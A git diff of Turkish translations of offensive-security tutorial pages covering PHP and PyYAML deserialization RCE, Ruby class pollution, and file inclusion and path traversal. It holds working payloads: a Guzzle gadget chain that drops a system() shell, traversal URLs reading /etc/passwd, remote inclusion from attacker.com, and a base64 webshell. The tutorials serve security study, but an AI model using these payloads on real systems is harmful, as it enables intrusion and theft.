- Aşağıdaki gibi bir **`spl_autoload_register`** fonksiyonunu kullanarak **herhangi bir yerel `.php` uzantılı dosyayı yükleyebilirsiniz**
|
||||
- Bunun için, sınıf adının **`$name`** içinde olacağı bir deserialization kullanıyorsunuz. Serileştirilmiş bir nesnede sınıf adında **"/" veya "."** kullanamazsınız, ancak **kod** **alt çizgileri** ("\_") **eğik çizgilerle** ("/") **değiştiriyor**. Yani `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php` olarak dönüştürülecek ve kod bunu yüklemeye çalışacak.\
|
||||
Bir **gadget örneği** şöyle olacaktır: **`O:10:"tmp_passwd":0:{}`**
|
||||
```php
|
||||
@ -40,15 +40,15 @@ require __DIR__ . $filename;
|
||||
|
||||
Benim durumumda, böyle bir şeyim yoktu, ama **aynı konteynerin** içinde **`phpggc` gadget'ına karşı savunmasız bir kütüphane** olan başka bir composer web sayfası vardı.
|
||||
|
||||
- Bu diğer kütüphaneyi yüklemek için, önce **o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekiyor** (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). **Uygulamanın yolunu bilerek**, bunu çok kolay bir şekilde gerçekleştirebilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
|
||||
- Şimdi, **diğer uygulamanın composer yükleyicisini yükleyebilirsiniz**, bu yüzden kullanmak için **`phpgcc`** **payload'unu oluşturma zamanı**. Benim durumumda, **`Guzzle/FW1`** kullandım, bu da **dosya sisteminin içine herhangi bir dosya yazmamı** sağladı.
|
||||
- NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için **o payload'u** **`chain.php`** phpggc'den **değiştirdim** ve sınıfların **tüm niteliklerini** **özelden genel** olarak ayarladım. Aksi takdirde, diziyi serileştirdikten sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu.
|
||||
- Bu diğer kütüphaneyi yüklemek için, önce **o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekiyor** (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). **Uygulamanın yolunu bilerek**, bunu çok kolay bir şekilde elde edebilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
|
||||
- Şimdi, **diğer uygulamanın composer yükleyicisini yükleyebilirsiniz**, bu yüzden kullanmak için **`phpgcc`** **payload'unu oluşturma** zamanı. Benim durumumda, **`Guzzle/FW1`** kullandım, bu da **dosya sisteminin içine herhangi bir dosya yazmamı** sağladı.
|
||||
- NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için **o payload'u** **`chain.php`** phpggc dosyasını **değiştirip** sınıfların **tüm niteliklerini** **özelden genel** olarak ayarladım. Aksi takdirde, dizilimi çözülmüş dizeden sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu.
|
||||
- Artık **diğer uygulamanın composer yükleyicisini yükleme** yoluna sahibiz ve **çalışan bir phpggc payload'u** var, ama **gadget kullanıldığında yükleyicinin yüklenmesi için BUNU AYNI İSTEĞİN İÇİNDE yapmamız gerekiyor**. Bunun için, her iki nesneyle birlikte serileştirilmiş bir dizi gönderdim:
|
||||
- **Önce yükleyicinin yüklendiğini ve ardından payload'unu görebilirsiniz**.
|
||||
```php
|
||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||
```
|
||||
- Artık **bir dosya oluşturup yazabiliriz**, ancak kullanıcı **web sunucusundaki herhangi bir klasöre yazamaz**. Yani, yüklemede görebileceğiniz gibi, PHP **`system`** çağrısı ile bazı **base64** içeriği **`/tmp/a.php`** içinde oluşturuluyor. Ardından, **oluşturulan `/tmp/a.php`** dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız ilk tür yüklemeyi **yeniden kullanabiliriz**. Bunu deserialization gadget'ına ekleyin: 
|
||||
- Artık **bir dosya oluşturup yazabiliriz**, ancak kullanıcı **web sunucusundaki herhangi bir klasöre yazamaz**. Yani, yüklemede görebileceğiniz gibi, PHP **`system`** çağrısı ile bazı **base64** içeriği **`/tmp/a.php`** dosyasında oluşturulmuştur. Ardından, **oluşturulan `/tmp/a.php`** dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız **ilk tür yüklemeyi** yeniden kullanabiliriz. Bunu deserialization gadget'ına ekleyin: 
|
||||
```php
|
||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||
```
|
||||
@ -59,6 +59,6 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
|
||||
- Gadget, **/tmp/a.php** dosyasında kötü niyetli komutlarla birlikte bir PHP yükü oluşturacak (web uygulaması kullanıcısı herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
|
||||
- Yükümüzün son kısmı, **oluşturulan php dosyasını yükleyecek** ve komutları çalıştıracak
|
||||
|
||||
Bu deserialization'ı **iki kez çağırmam** gerekti. Testlerimde, ilk seferde `/tmp/a.php` dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.
|
||||
Bu deserialization'ı **iki kez çağırmam gerekti**. Testlerimde, ilk seferde `/tmp/a.php` dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -49,7 +49,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
||||
|
||||
### Temel Sömürü
|
||||
|
||||
**sleep** nasıl **çalıştırılır**:
|
||||
**sleep** nasıl **çalıştırılır** üzerine bir örnek:
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
@ -64,11 +64,11 @@ print(yaml.unsafe_load(data)) #Executed
|
||||
print(yaml.full_load_all(data))
|
||||
print(yaml.unsafe_load_all(data))
|
||||
```
|
||||
### Gü vulnerable .load("\<content>") Loader olmadan
|
||||
### Güvenlik Açığı .load("\<content>") Loader Olmadan
|
||||
|
||||
**Eski sürümler** pyyaml, bir şeyi yüklerken **Loader'ı belirtmediyseniz** deserialization saldırılarına karşı savunmasızdı: `yaml.load(data)`
|
||||
|
||||
Bu [**açıklamayı burada bulabilirsiniz**](https://hackmd.io/@defund/HJZajCVlP)**.** O sayfadaki önerilen **sömürü** şudur:
|
||||
Bu güvenlik açığının [**tanımını burada bulabilirsiniz**](https://hackmd.io/@defund/HJZajCVlP)**.** O sayfadaki önerilen **sömürü** şudur:
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
@ -87,7 +87,7 @@ state:
|
||||
],
|
||||
}
|
||||
```
|
||||
Not edin ki **son sürümlerde** **`.load()`** **artık bir `Loader` olmadan** **çağrılamaz** ve **`FullLoader`** bu saldırıya **artık savunmasız değildir**.
|
||||
Not edin ki **son sürümlerde** **`.load()`** **artık bir `Loader` olmadan çağrılamaz** ve **`FullLoader`** bu saldırıya **artık savunmasız değildir**.
|
||||
|
||||
## RCE
|
||||
|
||||
@ -113,7 +113,7 @@ print(yaml.unsafe_load(deserialized_data))
|
||||
```
|
||||
### Payload Oluşturma Aracı
|
||||
|
||||
Aracı [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) **Pickle, PyYAML, jsonpickle ve ruamel.yaml**'i istismar etmek için python deserialization payload'ları oluşturmak için kullanabilirsiniz:
|
||||
Aracı [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) **Pickle, PyYAML, jsonpickle ve ruamel.yaml**'i istismar etmek için python deserialization payload'ları oluşturmak amacıyla kullanabilirsiniz:
|
||||
```bash
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
|
||||
@ -7,7 +7,7 @@ Bu, [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://
|
||||
|
||||
## Temel bilgiler
|
||||
|
||||
Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
|
||||
Bir gövdeye, bir dizi gibi hashlenemez bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için de kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
|
||||
```json
|
||||
{
|
||||
"id": 123,
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu, [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) gönderisinden bir özet
|
||||
Bu, [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) adresinden bir özet.
|
||||
|
||||
## Merge on Attributes
|
||||
|
||||
@ -248,7 +248,7 @@ JSONMergerApp.run(json_input)
|
||||
```
|
||||
## Sınıfları Zehirle <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
Aşağıdaki örnekte **`Person`** sınıfını ve **`Person`** sınıfından türeyen **`Admin`** ve **`Regular`** sınıflarını bulmak mümkündür. Ayrıca **`KeySigner`** adında başka bir sınıf da bulunmaktadır:
|
||||
Aşağıdaki örnekte **`Person`** sınıfını ve **`Person`** sınıfından türeyen **`Admin`** ve **`Regular`** sınıflarını bulmak mümkündür. Ayrıca **`KeySigner`** adında başka bir sınıfı da vardır:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'sinatra/base'
|
||||
@ -386,7 +386,7 @@ end
|
||||
```
|
||||
### Zehirli Üst Sınıf
|
||||
|
||||
Bu yükle birlikte:
|
||||
Bu yük ile:
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
|
||||
@ -30,12 +30,12 @@ Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste [bura
|
||||
|
||||
### **Windows**
|
||||
|
||||
Farklı kelime listelerinin birleşimi:
|
||||
Farklı kelime listelerinin birleştirilmesi:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
Ayrıca `/`'yi `\` ile değiştirmeyi deneyin.\
|
||||
Ayrıca `C:/`'yi kaldırmayı ve `../../../../../` eklemeyi deneyin.
|
||||
Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin.
|
||||
|
||||
Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir (açığın var olup olmadığını kontrol etmek için).
|
||||
|
||||
@ -61,7 +61,7 @@ Verilen dizeye daha fazla karakter ekleme işlemini atlatın (atlatma: $\_GET\['
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Bu, **PHP 5.4'ten beri çözüldü**
|
||||
Bu **PHP 5.4'ten beri çözüldü**
|
||||
|
||||
### **Kodlama**
|
||||
|
||||
@ -82,7 +82,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
|
||||
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
|
||||
|
||||
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Bir örnek URL, üç derinliği gösterecek şekilde aşağıdaki gibi yapılandırılabilir:
|
||||
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösteren şu şekilde yapılandırılabilir:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -109,7 +109,7 @@ PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri
|
||||
- Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedef dosyayı değiştirmez.
|
||||
- Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmeyecektir.
|
||||
|
||||
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için path truncation nasıl kullanılacağını göstermektedir:
|
||||
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd` dosyasına erişmek için yol kısaltmasını nasıl kullanacağınızı göstermektedir:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -123,7 +123,7 @@ Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, a
|
||||
|
||||
- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, böylece sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
|
||||
- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, `.php`) etkisiz hale getirilirken istenen yol (`/etc/passwd`) sağlam kalır.
|
||||
- **Sahte Bir Dizinle Başlama**: Yolu mevcut olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
|
||||
- **Sahte Bir Dizinle Başlama**: Yolu var olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
|
||||
|
||||
Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
|
||||
|
||||
@ -139,12 +139,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Uzaktan Dosya Dahil Etme
|
||||
|
||||
Php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
Php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olmalıdır ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Eğer bir nedenle **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile bir b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
Eğer bir nedenle **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -167,13 +167,13 @@ Eğer kullanıcı **`file_name`** için **mutlak bir yol** geçirirse, **önceki
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Bu, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre beklenen davranıştır:
|
||||
Beklenen davranış [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre:
|
||||
|
||||
> Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
|
||||
|
||||
## Java Dizinlerini Listele
|
||||
|
||||
Görünüşe göre Java'da bir Path Traversal varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
Java'da bir Yol Traversali varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
|
||||
## En İyi 25 parametre
|
||||
|
||||
@ -277,11 +277,11 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b
|
||||
- Bu, **ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için** kullanılacak ki php bir **hata** tetikleyecektir.
|
||||
- **dechunk** filtresi, **ilk karakter bir onaltılık değilse her şeyi kaldıracaktır**, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
|
||||
- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
|
||||
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, ilk harfin bir `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
|
||||
- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
|
||||
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri almak mümkündür.
|
||||
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen sızıntıya ulaşana kadar bunu yapmaya devam edin.
|
||||
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen sızdırma bitine ulaşana kadar bunu yapmaya devam edin.
|
||||
|
||||
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -354,9 +354,9 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Yürütme sırasında, `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir.
|
||||
|
||||
LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etme girişiminde bulunulabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etmeye çalışılabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etme konusunda detaylı bir anlayış için aşağıdaki bağlantıya başvurun:
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etmeyi anlamak için aşağıdaki belgede yer alan bilgilere bakın:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -366,22 +366,22 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**php filtrelerini destekleyen herhangi bir keyfi dosyanın okunması** istismar edilerek RCE elde etmek mümkündü. Detaylı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** istismar edilerek **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla php filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Ayrıntılı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
|
||||
### Daha Fazla Protokol
|
||||
|
||||
Burada dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmediği için burada pek faydalı değil)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Keyfi dosyaları okumak için faydalı değil)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için faydalı değil)
|
||||
|
||||
## PHP'nin 'assert' ile LFI
|
||||
|
||||
@ -404,13 +404,13 @@ Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılab
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** olan **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
|
||||
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
|
||||
|
||||
[**Bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir blind path traversal'ın PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
|
||||
|
||||
Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir.
|
||||
|
||||
Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve diğerleriyle birlikte **base64** veya **rot13** gibi filtreler kullanılır ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **diğer karakterlerin başa yerleştirilmesi ve sızdırılması** sağlanır.
|
||||
Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** diğerleriyle birlikte **base64** veya **rot13** gibi kullanılır ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **diğer karakterlerin başa yerleştirilmesi ve sızdırılması** sağlanır.
|
||||
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -453,11 +453,11 @@ Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/
|
||||
### /proc/\*/fd/\* ile
|
||||
|
||||
1. Birçok shell yükleyin (örneğin: 100)
|
||||
